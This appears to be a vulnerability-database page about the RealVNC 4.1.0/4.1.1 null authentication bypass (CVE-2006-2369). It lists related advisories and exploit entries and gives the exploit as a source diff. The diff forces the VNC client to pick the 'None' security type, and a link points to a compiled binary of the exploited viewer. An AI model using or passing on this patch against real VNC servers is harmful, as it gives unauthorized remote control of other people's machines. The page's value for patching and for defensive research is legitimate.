RealVNC 4.1.0 < 4.1.1 - VNC Null Authentication Bypass
| Reporter | Title | Published | Views | Family All 38 |
|---|---|---|---|---|
 | RealVNC Authentication Bypass | 26 Aug 201100:00 | – | zdt |
 | Exploit for Improper Authentication in Vnc Realvnc | 8 Mar 202608:00 | – | githubexploit |
 | CVE-2006-2369 | 26 Aug 201100:00 | – | circl |
 | RealVNC Password Authentication Bypass (CVE-2006-2369) | 25 May 200600:00 | – | checkpoint_advisories |
 | CVE-2006-2369 | 15 May 200616:00 | – | cve |
 | CVE-2006-2369 | 15 May 200616:00 | – | cvelist |
 | CVE-2006-2369 | 15 May 200616:00 | – | debiancve |
 | RealVNC - Authentication Bypass (Metasploit) | 26 Aug 201100:00 | – | exploitdb |
| RealVNC 4.1.0 < 4.1.1 - VNC Null Authentication Bypass (Metasploit) | 15 May 200600:00 | – | exploitdb |
| RealVNC 4.1.0/4.1.1 - Authentication Bypass | 13 May 201200:00 | – | exploitdb |
10
xx vnc-4_1_1-unixsrc.bl4ck/common/rfb/CConnection.cxx
--- vnc-4_1_1-unixsrc/common/rfb/CConnection.cxx 2005-03-11 09:08:41.000000000 -0600
+++ vnc-4_1_1-unixsrc.bl4ck/common/rfb/CConnection.cxx 2006-05-15 14:03:30.000000000 -0500
@@ -183,7 +183,12 @@
// Inform the server of our decision
if (secType != secTypeInvalid) {
- os->writeU8(secType);
+
+ // [BL4CK] In response to the VNC Null Authentication
+ // force a secType to equal secTypeNone
+ // http://blacksecurity.org
+ secType = secTypeNone;
+ os->writeU8(secTypeNone);
os->flush();
vlog.debug("Choosing security type %s(%d)",secTypeName(secType),secType); }
E-DB Note:
Compiled: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/1791.rar (05162006-BL4CK-vncviewer-authbypass.rar)Data
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17 Aug 2017 00:00Current
7.2High risk
Vulners AI Score7.2
CVSS 27.5
EPSS0.91421